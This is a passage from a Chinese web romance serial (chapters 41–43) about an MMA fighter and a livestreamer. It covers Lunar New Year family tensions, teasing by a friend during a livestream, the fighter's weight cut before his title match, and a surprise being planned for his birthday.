想了想,祝闻声轻手轻脚地去卫生间拿了毛巾给陶真擦了擦脸,又打了一盆水来给他洗脚,最后还把他身上的毛绒卫衣脱掉,换了件方便睡觉的大T恤。 害怕亮醒陶真,祝闻声还顺手将房间的大灯关了,自己摸着黑去卫生间随便洗漱了一下。见陶真一脚把被子踹掉了一半,下意识地折回去替他仔仔细细地掖好。 都走到门口了,又不放心,最终在陶真的沙发上躺了一夜,直到早上才回自己的客房。 大年初一,鞭炮炸响。 陶真被噼里啪啦的声音吵醒,迷迷糊糊地坐了起来,想不起来自己最后是怎么回房间睡的,只好放弃了思考,下床洗了个澡,活力满满地冲下楼向众人拜年。 长辈们笑得合不拢嘴,乐不可支地应了,与他坐在一块儿吃了个团圆的早饭,才准备启程回家走亲访友。 原先还热热闹闹的家里一下子少了人,陶真有些依依不舍,挨个同他们说了路上小心。 一转头,却发现祝闻声也去拿了袋子,一副准备去楼上收拾行李的模样。 陶真心里登时咯噔一跳,连忙拉住祝闻声手腕,仰起脸看着他:“阿声!你也打算走了吗?不能再留两天吗?一定要……现在就走吗?” 祝闻声垂下眼,避重就轻道:“我回去有一点事情要做……月底的时候有一场比赛很重要,需要去外地打,所以现在就需要回去准备。” 比赛固然是一部分,另外一部分则是他要回去给司家、祝家那几位拜年。其实猜也猜得到,这次“拜年”一定也跟前面的十来年一样,绝不会多么愉快。 除了劝他放弃格斗,就是互相攻击,就着许多年前的事情争论不休,殊不知在那场两败俱伤的婚姻中,最无辜的,其实只有一个人。虽然这个人的感受,向来没有人在意。 “真宝,谢谢你。” 祝闻声收回思绪,低声说,“跟你在一起过年,真的很开心。” “……” 陶真没说话,低下头,纤长浓密的眼睫毛遮住了瞳孔。 他鼓着脸,用脚尖踢踢踏踏地在地上磨蹭了一会,有些莫名的不开心和委屈。 祝闻声才来待了几天,就又要离开了,月底还得去外地打比赛。 离开学还有将近一个月呢,那他们接下来的这一段时间都见不到面了。 不过这也是没办法的事。 没有人会一直陪着他的,是个人都会有自己的生活,这很正常。 “好吧……” 劝了自己一会,陶真重新打起了精神,乖乖地说:“那你有空的时候要给我打电话哦。” “好。”祝闻声顿了顿,又额外添了一句,“有空的时候,我还会看你的直播。” 陶真一怔,不知怎么地,原本低垂到谷底的心情渐渐攀升了,酸涩的心脏被很轻很软地安抚了一下。 他咽了下口水,又觉得自己有些“作”了,看向祝闻声:“你机票买好了吗?我等下送你去机场好不好?” 祝闻声应了声,没有拒绝陶真的提议。 飞机定的是下午两点,他们简单收拾了会东西,吃完饭,提前两个小时就到了机场。大过年的,人不算多,进去的速度非常快。 准备值机前,陶真已经彻底调整过来了,有些好奇地问着祝闻声月底的格斗比赛:“那你具体要去哪里打呀?俱乐部的人会跟你一起去吗?为什么之前没怎么听你提起过打比赛呀?” “去曼城。俱乐部要去很多人,包括教练、战术策划、营养师,助理,负责人等等。” “之前没怎么提,是因为综合格斗和别的比赛不同。前期,选手因为要提升技术、提高曝光,通常一到三个月内就需要参加一次比赛……这已经算比较高频了。如果是全球性的赛事,需要协调档期,比赛之间间隔的时间只会更久。” 祝闻声回答得很耐心。他在遇见陶真之前才刚刚结束了一场比赛,那会甚至连身上的伤都还没完全恢复好。 后来十一月份也本该有一场的,但对手在上台前临时因伤病退赛了,他间隔的时间便长了一些,一直到现在。 陶真听得恍然大悟:“也就是说,这次是你和UFC签约前的最后一场比赛,国内的大决赛啦?” “可以这么说。” 祝闻声颔首,见陶真的鞋带松开了,便顺手将身.份.证放到一边,蹲下.身为他系鞋带。 陶真还沉浸在刚刚的思考中,见状一怔,下意识地弯腰想要自己来,目光却不经意地被一旁薄薄的身.份.证.吸引了。 ——出生日期,2月29日。 2月29号?祝闻声是这一天出生的吗? 不仅仅是月底,还是每四年才一遇的日子。出生在这一天的人都有一点倒霉蛋的潜质,毕竟连自己的生日都不能年年过…… 发呆间,陶真的鞋带已经系好了,是一个极漂亮整齐的蝴蝶结。 “我准备过去了,”祝闻声捡起身.份.证,温声说,“等下回去路上注意安全。” 陶真猛然回神,有点不舍,眼巴巴地冲祝闻声挥了挥手。 等人消失在视线中,他才缓缓地吐出了一口气,脑袋里有个念头,清晰明朗地浮现了出来。 这个月底,祝闻声不仅要打重要的决赛,还要过生日。 四年才过一次的日子,他一定得为祝闻声做点什么。 不过,应该怎么做呢? 给祝闻声钱吗? 那太俗了吧。 那辆迈巴赫? ……他现在还买不起! 陶真有点苦恼地拍了拍自己的脸,恨不得在地上打滚,有点抓狂,长长地叹了一口气: 老天爷,祝闻声到底会喜欢什么、想要什么呀?- 飞机缓缓起飞,越过绵软的云层升至空中,底下的景色被模糊成一片朦胧的光晕。 祝闻声在飞机上休息了一会,出了机场以后,直接带着前段时间就准备好的拜年礼物去了一趟司家。 司老太太还好一些,笑呵呵地同他聊天;司老爷子一见到他,便又拉下了脸,好了伤疤忘了疼似的抓着他格斗的事情一直说。 祝闻声没有反驳,也没有在大年初一这日子跟长辈顶嘴,见黎旻来了之后便抽空去了祝家。 祝爷爷一见到他便先发了火,责问他为什么要先去司家那两个老不死的那里,大声嚷嚷他是祝家的子孙后代;祝奶奶在旁安抚了半天,却也干巴巴地没什么话同祝闻声说,一开口就是“你爸如何如何”,铁了心似的要为家暴男洗脱。 祝闻声垂下眼,仿佛一根木头似的坐在原地,静静地听着他们数落。 把“为人子孙”的礼数都做到位以后,他一秒也没在这宅子里多待,连晚饭都没吃,就直接带着东西去了师父江龙家。 同以前那么多个大年初一一样,江龙一听脚步声,就猜到来人肯定是刚刚经受过折磨的祝闻声。 他有些无奈地叹了口气,让自己的女儿小荷去迎接一下,自己则地端着一砂锅热鸡汤出来,想舀一碗先给祝闻声暖暖身子。 门打开,祝闻声走了进来,将礼物全都放下。他的神色看起来意外平静,却让人疑心这是不是暴风雨即将来临前的压抑。 江龙和小荷对视了一眼,有些忧心忡忡地上前,宽慰似的拍了拍祝闻声的肩膀:“没事儿啊,晚上想吃点什么,我……” 话音未落,就见祝闻声忽然回过神来,状态很正常地抽出了手机:“我没事,谢谢师父。我先出去打个电话。” 江龙有些惊讶地看着祝闻声迈出小院。这还是这些年来的第一次。 安静的院中盈满清辉。 “嘟嘟”两声过后,电话那边响起了金发少年活泼欢快的声音。陶真笑着问祝闻声到南城的感觉怎么样,有没有忙完休息。 祝闻声垂下眼,仅仅只是听见声音,唇角就很慢很慢地勾起。 其实他依然很在意长辈们说的那些话。 但只要沉浸在陶真为他编织的梦境里,就会觉得听见那些话也没关系。 “嗯,忙完了。现在在江叔这里……” 祝闻声一一回复,到最后,声音却慢了下来,“我都挺好的,只是有点想你了。” 【📢作者有话说】 这两天更新比较少,发20个小红包给追更的宝宝们[可怜]爱你们哦!谢谢你们一直支持我!! 42 ? 第 42 章 ◎除了格斗,就是你。◎ 明明两人只分开了十个小时而已, 连一整天都没有到,可祝闻声却已经有些无法忍耐了。 他以前从未想过等待的滋味竟然会这么难言,感觉自己简直像是摄入了某种成.瘾物品, 一旦离开陶真,心尖就被一万只蚂蚁啃噬般, 连呼吸都变得很不畅快。 可是,在认识陶真之前,他不是早就已经习惯了这些孤独和痛苦了么?为什么心上的酸涩疼痒会这么难以忍受呢? 电话那头的陶真似乎也有些意外, 可却并没有对他这份毫无来由的依恋感到厌烦,反而叽叽喳喳地安抚了他好几句。 少年的音色清亮, 声音柔和,说话的语气欢快又活泼,不知不觉间就抚平了刚刚那些郁结在胸口的躁动。 祝闻声闭了闭眼,渐渐平复了心情, 又和陶真聊了几句, 见江龙出来招呼吃饭, 才挂断了电话,盯着黑屏看了好几秒。 江龙直觉他有些不对劲, 可是又说不出个所以然来,只好一边往他碗里夹菜一边问月末比赛的事情。 说到正经事, 祝闻声果然冷静了,同江龙认真地探讨了起来。 如今看似距离月末还有很长的一段时间,可真正训练准备起来其实没剩下多少工夫。这段时间还好,正式比赛的前一周才是真正的魔鬼行程。为比赛称重而疯狂脱水,又要在短短的一两天之内迅速恢复状态, 简直就是将人逼到生理极限, 才能像古罗马斗兽场里的野兽一样上场拼搏。 而且祝闻声这次的对手, “暹罗豹”,也是个相当厉害的选手。 “暹罗豹”是绛州RED俱乐部最有名、有希望签约UFC的选手,因为脸黑,动作迅捷凶狠像豹子,所以得名。 虽然年纪比祝闻声要大上几岁,身体机能不如他,但极为丰富的地下格斗经验又弥补了这一点不足。 “S”一向以强悍的身体素质、地面缠斗的掌控能力而闻名,可又有不少人称呼“暹罗豹”为地面缠斗技术的克星。 这一场格斗,注定会很精彩,也注定会很血腥。 祝闻声不想输,就需要拼尽全力。 年初一的俱乐部里没人在,祝闻声这晚干脆没回去,留在江龙这里进行了专项训练,在他的指导下纠正了几个缠斗过程中的细微缺陷。第二天一早才回到俱乐部里,一边听陶真直播,一边继续训练。 他就这么一个人孤零零地练到了年初五,其他选手和教练才陆陆续续回来。他们大部分人都还没从假期的快乐中恢复过来,一上秤胖了好几斤,整个人都快水肿成猪头了,被营养师勒令着控制饮食,整个场馆里顿时响起了此起彼伏的哀嚎。 赵钊进来的时候还以为自己误入了什么杀猪的地方,有些谨慎地退出去看了一眼招牌,才又走进来。 他越过一众哭天抢地的选手们,看到与他们格格不入、格外冷淡镇静的祝闻声时,还是没忍住笑了,把前两天从国外旅行带回来的伴手礼放到一旁,上前拍了拍兄弟坚实的肩膀: “哥们,怎么就你这么不合群呢?你别告诉我你这么多天一直都在俱乐部里训练啊,就没出去玩一下?” 祝闻声的一组卧推正做到最后几个,向来白皙俊美的脸上泛起些许浅淡的红,闻言扫了他一眼,没有吭声。 赵钊没得到回应,却也并不尴尬,反而嘿嘿笑了一声,懒洋洋地在一旁坐下了。 赵钊其实是明知故问。早知道祝闻声过年时不开心,单纯过来犯个贱,希望能逗得祝闻声忘了家里的那些破事,像他这样,做个潇洒享乐的富二代,至少会开心自在点。 不过他心里也明白,都这么多年了,祝闻声每次到过年时都不会很开心,这次肯定也一样…… “哎,我才发现你戴着蓝牙耳机?” 赵钊的思绪骤然被打断,有点好奇地坐起身,去看祝闻声的手机:“你在跟谁打电话?等等,不是……你在看什么呢?” 祝闻声才把身上的杠铃放下,还没来得及去收起手机,就被赵钊一把抽过点亮。 屏幕上顿时出现了一个直播间,模样极为漂亮的金发少年对着镜头笑盈盈地说着什么,乖巧可爱。 “……” 祝闻声:“还给我。” 他轻轻松松地从赵钊手里抢回了手机,然而为时已晚,赵钊露出了一个相当神秘的笑容,意味深长地盯着他:“卧槽,想不到啊祝闻声。” “刚刚那个就是‘包/养’你的小少爷吧?我的老天爷啊,被包/养的人要这么尽职尽责地看金主的直播间吗?”赵钊的语气有些夸张,“还是说,我的好哥们已经坠、入、爱、河了——” 赵钊这么多年第一次见祝闻声栽了,还栽成这样,竟然为一个少年这么疯狂,所以这会摆出了一副极为欠揍的模样。 然而祝闻声深呼吸了一口气,忍下了揍他一拳的冲动,闭了闭眼,有些认真地说:“……是。” 他的确已经彻彻底底,无法自拔地坠入爱河了。 “?” 这回轮到赵钊呆住了,他咽了下口水,略微有些不可置信地说:“啊?” 祝闻声却没有给他喘息回神的机会,摁亮屏幕,定定地盯了一会金发少年,旋即才陷入回忆似的,轻声说: “而且,我这些天不是一直都在俱乐部里,我去宣城找了陶真。除夕那一天,我是和他一起过的年。” “……” 赵钊整个人都已经有些迷幻了,往后踉跄了一步,差点被杠铃绊倒,好不容易才扶着器材站稳: “祝闻声,你说你和他……” 他还是有点不可置信。他不是不知道祝闻声,好歹当了这么多年朋友了,对祝闻声这个人还是有些了解的。 祝闻声明明看起来对什么东西都不在乎,可对待感情比谁都要忠心,绝对不会拿这种事情开玩笑,固执到认定了什么就不会再改变。 既然这么说了,就代表他是真的非陶真不可,没有陶真就不行。 在原地恍惚了半晌,赵钊才终于勉强回过神,他喃喃道:“好吧……” 不管怎么说,他都是站在祝闻声这边的。 “那你们现在到哪一步了?你接下来打算怎么做?”赵钊上前一步,目光灼灼地盯着祝闻声。 他本意是问祝闻声该什么时候跟陶真坦白,可祝闻声却淡淡地扫了他一眼,语气凉凉道:“不该问的别问。” 赵钊无端感觉自己被误解了,忍不住瞪大眼:“什么叫不该问的别问!祝闻声!你大爷的想歪了!” “我是问你有没有想好什么时候跟他坦诚相见,毕竟你们现在的关系也不一般了,可以考虑一下进入下一……” 祝闻声:“……” 就多余听赵钊讲这两句。 他干脆带着手机起身,去下一组训练的场地,急得赵钊一直跟在他身后“哎哎哎”,最后只能挤在一堆鬼哭狼嚎的选手堆里,目送着他远去。 赵钊没忍住“操”了一声,给一旁的一个沙袋一拳,才勉勉强强地抒发了一下心中的感情。然而这还不够,想了想,他从口袋掏出手机,按照自己刚刚看见的ID搜索出了陶真的直播间。 这会儿陶真正在和粉丝聊天,粉丝们在弹幕刷屏送礼物,嚷嚷着让陶真下一首歌唱自己想听的。 赵钊进去以后没多想,直接投了一个嘉年华出去。夸张的蓝紫色特效顿时填满了屏幕。 陶真略微有些吃惊,靠屏幕更近了一些,念出他的名字:“谢谢这位‘钊钊暮暮有财神’朋友送出的嘉年华……你想听什么歌?” 【钊钊暮暮有财神:你好主播,我想为我朋友点一首歌,想要你声音唱大一点,可以吗?】 只要不是太过分的要求,陶真一般都会满足,这次也不例外,他爽快地答应了:“当然没问题。” 【钊钊暮暮有财神:好的主播[分享音乐]】 陶真顺着他的链接点了进去,登时看见了一个硕大无比的歌名:《舞男泪》(改编版)。 他有点难以置信地眯了眯眼,又揉了揉眼睛:“你确定……要送给朋友这首歌?” 整个弹幕都已经笑疯了,赵钊看向不远处训练中的祝闻声,相当淡定地回复了一句“确定”,并求陶真赶快唱。 陶真虽然不理解,但还是照做了,将这首旋律简单、朗朗上口的歌点开听了两遍,清了清嗓子: “一步踏错终身错,终身错——” “下海伴舞为了生活,为了生活——” “舞男也是人,心中的痛苦向谁说——” “……” 一曲未毕,赵钊就看见不远处的祝闻声站了起来,他立刻转身跑路,拿出此生最快的速度飞奔上了车,大叫着让司机快开。 等Light俱乐部渐渐消失在视线里,他才终于爽了,呼出一口气,抬眼看了下手机。想了想,又觉得心里有点过意不去,给陶真发了条私信。 【钊钊暮暮有财神:你好啊主播,我刚刚其实是开玩笑的,不是真给谁点的歌。】 陶真才唱完下播,点进后台时刚好看到了这条消息,顺手回复了一句没关系。然而当他退出私信页面时,却见那头又发了一条新的。 【钊钊暮暮有财神:那就好哈哈哈哈,其实我是祝闻声的朋友,我听他总提起你,所以没忍住过来看了一下,开了个玩笑,希望你跟他说一下,不要介意……】 陶真一怔,旋即精神一振,祝闻声的朋友? 不得不说,同祝闻声在一起也有这么长的时间了,除了黎旻这个俱乐部老板之外,他好像真的没怎么见祝闻声的朋友,也没有主动问过……对祝闻声的了解实在是不够多。 他心中有些懊恼,赶快跟赵钊打了个招呼。赵钊也简单地做了个自我介绍,让陶真喊他钊哥就好。 那自信大方的状态,令陶真情不自禁地联想到了那辆迈巴赫。 如果当时那辆迈巴赫是祝闻声从他这里借的,那他应该也知道祝闻声喜欢别的什么东西吧? 【真知棒:说起来,钊哥,我想请问一下,阿声有跟你说过他喜欢什么吗?】 【钊钊暮暮有财神:嗯?他没什么偏好的,非要说喜欢的……应该就是格斗吧。】 格斗?陶真当然考虑过,可他觉得格斗是一项运动,就算祝闻声再喜欢,在这上面的成就也只能靠他自己来获得。他最多只能送点与格斗有关,但不痛不痒的东西。 陶真攥着衣角,冥思苦想了一阵子,还是没忍住又问了一句赵钊:【除了格斗呢?还有没有什么别的喜欢的了?】 “钊钊暮暮有财神”这个昵称变成了“对方输入中”,屏幕那头安静了好一会,才终于发来了两条新消息。 【你。】 【这么多年,我只见他只喜欢过两样东西,一样是格斗,一样就是你。】 43 ? 第 43 章 ◎他们俩的关系怎么更进一步?◎ 陶真一瞬间愣在原地, 心脏不可自抑地狂跳了起来。 他强行咽了口口水,镇定地与赵钊道完谢,之后才关闭手机, 一骨碌翻身爬上了自己的床,用被子将脑袋蒙了起来。 脸上渐渐泛起了些许温度, 或许是被被子闷出来的,或许是因为别的。 明明知道刚刚的那句话只是祝闻声朋友的托词,或许还存在着刻意夸张的成分, 可他还是觉得很高兴,像是咕咚一口喝了一大杯热乎乎的蜜茶, 整个人都暖洋洋的。 好不容易才平复好心情,继续思考送给祝闻声的比赛奖励和生日礼物。 如果真的像钊哥说的那样,祝闻声除了格斗之外最喜欢的就是他,他能送祝闻声些什么呢? 或者, 换句话说, 他们俩现在的关系, 还有什么是没有做过,可以更进一步的? 被窝里的温度一度直逼赤道附近的地区, 陶真整个人都闷得快要熟透了,不得不把脑袋探出来深吸了一口气。 渐渐的, 他的脑海里浮现出了一个清晰的念头。 …… 正月十五的元宵节过去,吃完一顿团圆的饺子汤圆,这年味也基本散了大半,众人各自回岗位,学生们也陆陆续续地准备开学。 南城大学的门口挂上了新学期的欢迎标语, 校园内的落叶残枝也被细致地打扫了一遍, 整个校园内焕然一新, 空气宜人,路过的学生们发出阵阵欢声笑语。 陶真却有些笑不出来。 他回南城和祝闻声出发去曼城的时间刚好重合,两人一前一后上下飞机,连一面都没见上。 虽然有些遗憾,但这也是没办法的事。 祝闻声必须得提前几天去曼城,适应那边的水土环境,并且调整状态,迎接即将到来的决赛夜,最好是不被任何人打扰,只和团队专心备赛。 好在一个几分钟的视频通话应该不算打扰,陶真上完课回到家,收拾了一下两个月没人住的房子,看时间差不多了,就给祝闻声拨了过去。 “嘟……嘟……嘟……” 清晰的电话铃声在安静的训练准备室里响起,打破了一直的寂静。 祝闻声瞥了一眼屏幕,放下了手边一桶足足有四升的水壶,起身去一旁接通了电话:“到家了吗?” “真宝,今天上课怎么样?” “……” 听见“真宝”两个字时,一旁的教练、营养师、理疗师,助理,甚至包括黎旻在内,大家都不约而同地松了口气。 无他,为了决赛夜和赛前两天的迅速脱水,祝闻声从赛前一周就开始控制饮食,高蛋白、低脂低盐,断碳……不可避免的,心情会变得极其低落、暴躁、易怒。 但这也实在不怪他。这些天,他也就第一天一早还能吃几口米饭,搭配上枸杞水、冬虫夏草汤,就着虾、牛肉、鸡蛋、大叶菜。从第一天中午开始就要维持断碳的状态了,能吃的东西只剩下蔬菜,定量的牛肉……每天还要像水牛一样豪饮4-8升水,期间甚至不能断了训练,换谁来谁都受不了。 虽然祝闻声正常不会冲人发火,但就他那个低气压的状态,旁人也不敢上前招惹一下。 正打算这么一路屏息凝神、小心翼翼地等到赛前脱水期时,他们忽然发现,在“真宝”打电话过来时,祝闻声的心情会忽然好上许多。 所以现在,一旦“真宝”打电话过来,大家就都激动得不得了,疯狂在群里扣“救星来了”。 甚至还有人忍不住趴到墙边,想听听这位真宝到底和祝闻声说了什么,才能让这位正在赛前准备、断碳的格斗选手恢复心情,从老虎变成被顺毛的大猫。 “今天吃的是西兰花,生菜,牛肉,一点圣女果。” “嗯,明天就准备脱水了。” “没关系。不是很累……” 祝闻声不厌其烦,一一回答了少年的问题。独属于陶真的清朗声音在耳畔响起,明明也是带着担忧的叽叽喳喳,却和旁人不一样,一点也不令人烦闷,只让他觉得舒适。 焦躁难安的心慢慢地被安抚了下来,他垂下眼,按照陶真的吩咐调转镜头,将休息室窗外的风景展现出来。 他们住的是连锁的星级酒店,在曼城有好几家,但这家所处的地理环境最好,就在市中心,正对着一个长得有些奇葩的地标性建筑。 陶真迅速地截了两下图,将酒店的位置保存下来,这才弯起眼笑了:“外面这个雕像好好玩,像只没胡子的大老鼠……曼城人的吉祥物吗?” 听当地人说的确如此,黎旻他们刚过来的时候还买了一些这只大老鼠的纪念品,打算带回去给朋友。 祝闻声对这些向来没什么兴趣,可此刻却抬眼望了一下,短促的“嗯”了一声:“你喜欢吗?” “还行,感觉挺可爱的。” 祝闻声说了声“好”。他现在的训练时间每分每秒都很宝贵,陶真不敢耽误,跟他简单地聊了一会儿后便挂断了电话。 听着声音消失,在一边听墙角的众人便赶快若无其事地回到了自己的位置上,但气氛已经比刚刚活络了不少。他们料定祝闻声打完电话以后心情会好一点,果然如此。 祝闻声拿起那个四升的大水壶,一边喝水,一边打开手机上的搜索软件看附近的纪念品商店,看样子竟然打算出门一趟。 助理忙站了起来:“哥,你想买什么直接跟我说吧,省得你出去多跑一趟了。” 教练立刻称是,让祝闻声等下去理疗师放松肌肉。祝闻声的动作微微一顿,只好放弃了自己亲自挑选,让助理将市面上能买到的大耗子都买一遍。 助理一脸懵逼,与一旁的黎旻对视了一眼,老老实实地记了下来,欲言又止:“好的哥,你怎么突然喜欢上这只耗子了……?” 祝闻声:“……” 众人都没忍住噗嗤笑了出来,黎旻一边笑一边没忍住拍了下小助理的肩膀,做了个夸张的口型。 助理似乎也回过神来了,挠了挠脸,哪里是祝闻声喜欢耗子,是刚刚给他打电话的人喜欢吧! “那黎姐我就先出去了,对了,我刚刚看时间,好像比赛结束第二天就是哥的生日,要不要我顺便出去订个大蛋糕,在庆功派对上面切一下?” 助理的话一出,黎旻脸上的笑顿时僵住了。 她抬眼看向另外一侧,刚刚还和众人一块儿说话、脸上带着些笑意的祝闻声,这会的面色已经冷了下来,用力地攥紧了手里的水壶。 几滴水珠“啪嗒”一下溅了出来,粗粝的骨节也变得格外青白,好像正压抑着什么极端的情绪。 黎旻当机立断站了起来,抓着小助理往外走: “让你去买耗子呢,想那么多干什么?……我刚好也有个朋友想要,就跟他一块儿去买了。你们等一下别忘了理疗啊,辛苦了!” 总教应了一声,营养师和理疗师也赶忙称是,这才勉强将室内尴尬的气氛带了过去。而小助理自觉自己似乎说错了话,脸色有些发白,跟黎旻一块离开休息室内,才有些颤颤巍巍地开口:“黎姐,对不起,我不知道……” “没关系,不怪你,毕竟你才来没多久,”黎旻叹了口气,“我们从来不提阿声……就是S的生日,也不会为他准备蛋糕和礼物之类的东西,他不会收,因为他不喜欢过生日。” 小助理连忙点头,却又有些不解:“……为什么会有人不喜欢过生日?” 当然是因为不是所有人的家庭都幸福。 若是一个人在开开心心过生日的当天,看见父亲的小三上门大闹,把母亲气得快发疯,之后又被亲生父亲打骂、怀疑,被母亲抛弃…… 恐怕是谁都会落下心理阴影,不会对生日有任何好印象的。 黎旻的嘴唇上下翕动,最终还是没说出这些,只艰难地叹了口气:“……你不懂。” “总而言之,别在那天提醒他过生日就好了。” 小助理赶忙点头,心有余悸地攥紧了手机和黎旻告别,赶快下楼将功赎罪买大老鼠。黎旻本也就是为了提醒他才跟着出来,并没有真的要买什么纪念品的意思,便打算找个咖啡厅休息一下。 然而她才刚到厅内,还没来得及坐下,就发现自己的手机嗡嗡地响了起来,屏幕上的来电是一串陌生的号码。 IP地址显示:宣城。 黎旻的眼眸微微眯起,心中闪过一个猜测,用手指点了点桌面,接了起来:“喂,你好?” 那头立刻响起了一道清朗的少年音:“黎老板你好!我是陶真,很抱歉现在这个时候过来打扰你,我想跟你商量一件事……” 还真猜中了。黎旻心中微微一紧,在听完陶真所说的这件事时,忍不住抿了抿唇,过了好半晌才开口: “你又不打扰我们,只是想支持他,这当然没什么问题,只是……” 电话那头的少年高高兴兴地“嗯”了一声,屏息凝神地等待着她的下文。 黎旻犹豫了,想起他与祝闻声打电话时,祝闻声前所未有的那些行为,最终还是忍住了额外警告陶真的欲望,只不痛不痒地说:“……你自己一来一回什么的,可能要耽误很多的时间了。” “啊,没关系!”少年似乎没想到她会担心自己,开开心心地应了一声,“谢谢你啊黎老板,那我先挂啦!” “嘟嘟”两声,电话挂断。 黎旻找了个空位置坐下,攥着手机想了半晌,还是没忍住长长地叹了口气,捏了捏眉心。 说不定陶真并不知道祝闻声的生日是什么时候,她说了,反而容易让人触霉头,还是别提醒了。 在生日这件事上,黎旻不指望陶真能让祝闻声做出什么改变。 他于祝闻声而言也许是特殊的,可以二人这种“包.养”的关系,能特殊到哪里去? 说的矫情一些,心底最深处的创伤,不是能被别人轻易触碰的地方- 赛前一周,于选手而言,是一种极大的折磨,既像是即将上战场,也像是即将上刑场,好在决赛夜越来越近,痛苦的准备也终于迎来了尾声。 倒数第二天,祝闻声开始脱水。 在这一天内,他将以各种方式自己将身体内尽可能多的水分排出,从而达到上秤前的理想数字。 酒店里开着暖气,大部人都只穿一两件春秋衫,但他裹着暴汗服蒸桑拿、骑脚踏车,几乎一整天从早运动到晚,到最后,脱下的衣服都可以拧出湿淋淋的水珠。在众人提心吊胆的视线当中,他踩着他们怦怦乱跳的心脏上称。 终于,称上的数字蹿到某个数值,所有人屏息凝神地探头过去望。 成功过关! 所有人欢呼起来,然而祝闻声格外冷静,脸上甚至没什么笑意,只默默地从一旁接过氧气瓶,以吸氧恢复体力。 毕竟此刻距离决斗夜只剩四十八小时不到,他需要在这些时间之内迅速补水,迅速恢复巅峰时期的状态。 这段时间对祝闻声十分重要,在最初的激动过后,所有人也齐心协力地准备着后勤补给。 小助理由于前几天犯了错,这会儿根本就不敢跟他多说两句话,每次都是一将东西放下,就像只兔子一样跑远。教练倒是一直在一旁絮絮叨叨,因为食物分量问题和营养师争论了好几句,最后还是黎旻站出来打断了他们,将那盒饭塞到祝闻声手边: “行了行了,吵什么吵,让阿声按照自己的状态来判断……那个,阿声,你赶快吃吧?” 不知为何,黎旻的语气里似乎有些意有所指的试探。 祝闻声微微顿了顿,却也没有多纠结,拿起桌上助理送的毛巾擦了擦汗,就顺手打开了营养餐。 映入眼帘的菜肴丰富营养,搭配合理,一看就是营养师团队的手笔。然而不知怎地,他准备入口时,总觉得心情有些微妙,不自觉地翻开了盖子。 不同于以往雪白到好似病号餐的饭盒,这次的盖子竟然是印着漂亮小花的。 有些花里胡哨,却又显得十分温馨家常,不知不觉中缓解了他赛前的焦虑和紧张。 祝闻声盯着这饭盒看了几秒,忽然抬头望向黎旻:“这是谁准备的?” 黎旻似乎没想到他会这么问,一下子有些愣住了,视线偏移,若无其事地撩了一把自己的头发: “还能有谁?你以为我花了这么多钱请来的团队是吃干饭的?当然是他们准备的了……你赶快吃吧,等下还有很多事情要做呢。” 祝闻声抬起头来看了她一眼,黑沉沉的瞳眸中泛起些许波澜。 他沉默了一会,没有在这件事上过多纠结,低下头安安静静地吃饭。 见状,不远处的黎旻才松了一口气,过了片刻,漫不经心地走到角落,用手机镜头对准他。 “咔嚓”一声。 刚刚摁下快门键,她就从屏幕中看见,祝闻声站起身,直直地往她的方向走了过来。 黎旻的手哆嗦一下,佯装镇定地将页面划走,点开跟好闺蜜的微信聊天页面,冲黑发青年挑挑眉:“怎么了?” 祝闻声垂眸,视线落在她毫无破绽的手机屏上,最终还是开口:“没什么。” 黎旻露出一个笑容,拍了拍他的肩膀,施施然地走了。 祝闻声垂眸思考,随手扯下挂在后颈的毛巾擦了擦汗,很快就被毛巾上的花纹吸引住了视线。 漂亮的小碎花,暖黄、粉红、浅蓝,交织点缀在一起,像梦境里的小花园,跟整个俱乐部的气质格格不入,反而很像是…… 刹那间,祝闻声灵光一现。 心脏不自觉地跳得快了一些,他从口袋翻出手机找到置顶的联系人,拨了个视频电话过去。 “嘟…嘟…嘟”一声,两声,三声,或许只有几秒,或许一个世纪,电话被那头的少年挂断了。 脑海里一瞬间闪过无数猜测,就连呼吸也急剧加速。 祝闻声的喉结滚了滚,再度点开跟陶真的聊天框,在敲下“你在哪里”这几个字的同时,看见那头发来了一段偷拍视角的视频。 台上是正在侃侃而谈的老师,四周是昏昏欲睡的同学。 陶真被夹在他们中间,只能弯着腰低着头,小心翼翼地给他录了一段视频。 【对不起啊阿声,我正在上课呢,旁边有人,没法出去接电话QAQ】 【给我打电话是有什么重要的事情嘛?】 “咚——” 原本都快提到嗓子眼的心脏重重地落回了原位,可祝闻声却并没有觉得放松,反而有股难以言说的失落。 他自己也说不清这种情绪到底是从哪儿来的,缓冲了几秒后才想起来回复陶真:【没什么,只是想给你打个电话。】 【你继续上课,等下记得吃饭。我也去忙了。】 按照以往,陶真这个时候一定会叽叽喳喳地跟他聊两句,可现在却回复得相当简洁利落:【嗯嗯好。】 也许是因为沉浸在那股说不出情绪的失落中,以往一定能立刻发现陶真态度细微变化的祝闻声垂下眸,有点心不在焉地收起了手机,努力让自己全身心地投入到接下来的状态恢复中。 二月二十八号,决赛夜。 观众们按时入场,带起一阵吵嚷喧哗的飓风。场内开了暖气,源源不断的热风吹得人潮燥热拥挤。四周近乎纯黑,只有头顶那一排排的聚光灯发出刺目亮眼的光芒。 场馆中央是一个巨大的八角笼,地面被保养得极为干净亮堂,时不时有工作人员来回跑动。 比赛开了全程网络直播,解说员们早早就位,先跟电视机前的格外打了招呼。 “大家晚上好,欢迎来到Vanguardbat Championship(VCC)先锋格斗锦标赛的现场……” 简单介绍完,他们保持安静,等待手拿话筒的场内解说上台。一身正装的场内解说拉长声音:“女士们先生们,本场赛事是今晚赛事的联合主赛,由青春好品牌能量饮料赞助播出。三名负责打分的场外裁判为李亮、阿尔文·奥斯本,安洁莉娜·波兹。比赛开始后,八角笼内的执裁由杰夫·科尔格裁判负责——” 解说话音落,周遭的观众席骤然被一片深海似的蓝色包裹住,头顶的射灯突然闪烁,与八角笼外亮眼的灯条一起,将整个场内的气氛炒到了高潮。 “现在!场内即将上演一场五回合的比赛,争夺VCC男子轻量级冠军!”解说后退一步,镜头立刻摇到了一侧一个脸色略黑、长相平凡,但一身腱子肉的男人,“首先介绍蓝角选手,他是一名综合格斗家,职业战绩为……” 对面的人就是暹罗豹。 他整理了一番自己护齿,转身冲场下的观众们挥舞着手臂。听见底下响起一众欢呼声后,他转过头,在解说员的介绍中满含野心、略带挑衅地望向了祝闻声。 “现在我们来介绍他的对手——” 祝闻声面色平静,慢条斯理地整理着自己的露指拳套。 昨晚他剃短了头发,英挺的眉眼毫无遮挡地露在了外面,俊美逼人的同时更显几分阴郁。 场下的欢呼声愈发强烈,在欢呼声中,裁判杰夫令两人走到中间,简单地提示了一番竞技规则,旋即让他们在互碰拳套后退回边角,比赛开始的铃声敲响,网络解说员们迫不及待地开始了介绍。 